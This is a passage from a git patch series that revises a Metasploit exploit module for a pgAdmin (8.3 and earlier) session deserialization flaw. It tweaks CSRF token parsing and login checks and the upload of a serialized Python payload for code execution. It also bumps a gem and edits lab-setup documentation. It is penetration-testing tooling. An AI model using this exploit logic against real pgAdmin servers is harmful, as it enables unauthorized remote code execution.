outbound guest access be enabled. + + Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin + underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated + technique whereby a payload is uploaded. }, 'Author' => [ 'Spencer McIntyre', # metasploit module @@ -60,7 +65,7 @@ def initialize(info = {}) register_options([ OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']), - OptString.new('USERNAME', [false, 'The username to authenticate with', '']), + OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']), OptString.new('PASSWORD', [false, 'The password to authenticate with', '']) ]) end @@ -83,9 +88,12 @@ def csrf_token end def set_csrf_token_from_login_page(res) - return unless res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/ - - @csrf_token = Regexp.last_match(1) + if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/ + @csrf_token = Regexp.last_match(1) + # at some point between v7.0 and 7.7 the token format changed + elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first) + @csrf_token = element['value'] + end end def get_version @@ -138,6 +146,7 @@ def exploit_upload unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login') fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin') end + print_status('Successfully authenticated to pgAdmin') serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded) @@ -224,7 +233,7 @@ def file_manager_upload(file_path, file_contents) end upload_path = res.get_json_document.dig('data', 'result', 'Name') - vprint_status("File uploaded to: #{upload_path}") + print_status("Serialized payload uploaded to: #{upload_path}") true end From 80a8ffd6546d3de00aadaa1b8d4dc441bf97d89a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 12 Apr 2024 10:54:54 -0400 Subject: [PATCH 8/9] Bump ruby_smb to include changes from #264 --- Gemfile | 2 -- Gemfile.lock | 19 ++++++------------- 2 files changed, 6 insertions(+), 15 deletions(-) diff --git a/Gemfile b/Gemfile index a840d346096e..83b7b2811fbd 100644 --- a/Gemfile +++ b/Gemfile @@ -53,5 +53,3 @@ group :test do gem 'timecop' end -# remove after https://github.com/rapid7/ruby_smb/pull/264 is landed -gem 'ruby_smb', git: 'https://github.com/zeroSteiner/ruby_smb', branch: 'fix/server/smb2-related-operations-state' diff --git a/Gemfile.lock b/Gemfile.lock index a145ec9bd770..d2e0fcd87f15 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,15 +1,3 @@ -GIT - remote: https://github.com/zeroSteiner/ruby_smb - revision: 3dceda095d4218156afbbfc197c85827ffb2ef4c - branch: fix/server/smb2-related-operations-state - specs: - ruby_smb (3.3.5) - bindata (= 2.4.15) - openssl-ccm - openssl-cmac - rubyntlm - windows_error (>= 0.1.4) - PATH remote: . specs: @@ -486,6 +474,12 @@ GEM ruby-progressbar (1.13.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) + ruby_smb (3.3.5) + bindata (= 2.4.15) + openssl-ccm + openssl-cmac + rubyntlm + windows_error (>= 0.1.4) rubyntlm (0.6.3) rubyzip (2.3.2) sawyer (0.9.2) @@ -572,7 +566,6 @@ DEPENDENCIES rspec-rerun rubocop ruby-prof (= 1.4.2) - ruby_smb! simplecov (= 0.18.2) test-prof timecop From 9cf4372f2b624c27dac51b5faa52b2565fbf7dd2 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 16 Apr 2024 13:36:21 -0400 Subject: [PATCH 9/9] Clean up some of the module's documentation --- .../exploit/multi/http/pgadmin_session_deserialization.md | 4 +++- .../exploits/multi/http/pgadmin_session_deserialization.rb | 3 +-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/http/pgadmin_session_deserialization.md b/documentation/modules/exploit/multi/http/pgadmin_session_deserialization.md index 4b93c3b16e13..64eafa54137e 100644 --- a/documentation/modules/exploit/multi/http/pgadmin_session_deserialization.md +++ b/documentation/modules/exploit/multi/http/pgadmin_session_deserialization.md @@ -1,4 +1,4 @@ -*## Vulnerable Application +## Vulnerable Application pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python object to execute code within the context of the target application. @@ -41,6 +41,8 @@ For a production setup, a server like Apache should be setup to run pgAdmin thro 1. [Download][1] and install the Windows build 1. Copy the `config_distro.py` file to `config_local.py` 1. Edit `config_local.py` and set `SERVER_MODE` to `True` +1. Upgrade pip: `..\python\python.exe -m pip upgrade` +1. Install python package required by `setup.py`: `..\python\python.exe -m pip install "psycopg[binary,pool]"` 1. Initialize the database: `..\python\python.exe setup.py setup-db` 1. Create an initial user account: `..\python\python.exe setup.py add-user --admin metasploit@gmail.com Password1!` 1. Run the application: `..\python\python.exe pgAdmin4.py` diff --git a/modules/exploits/multi/http/pgadmin_session_deserialization.rb b/modules/exploits/multi/http/pgadmin_session_deserialization.rb index 4f14ea72ae01..ebbb090410bd 100644 --- a/modules/exploits/multi/http/pgadmin_session_deserialization.rb +++ b/modules/exploits/multi/http/pgadmin_session_deserialization.rb @@ -34,7 +34,6 @@ def initialize(info = {}) 'Spencer McIntyre', # metasploit module 'Davide Silvetti', # vulnerability discovery and write up 'Abdel Adim Oisfi' # vulnerability discovery and write up - ], 'License' => MSF_LICENSE, 'References' => [ @@ -54,7 +53,7 @@ def initialize(info = {}) 'WfsDelay' => 5 }, 'DefaultTarget' => 0, - 'DisclosureDate' => '2024-03-04', # date it was patched https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d + 'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],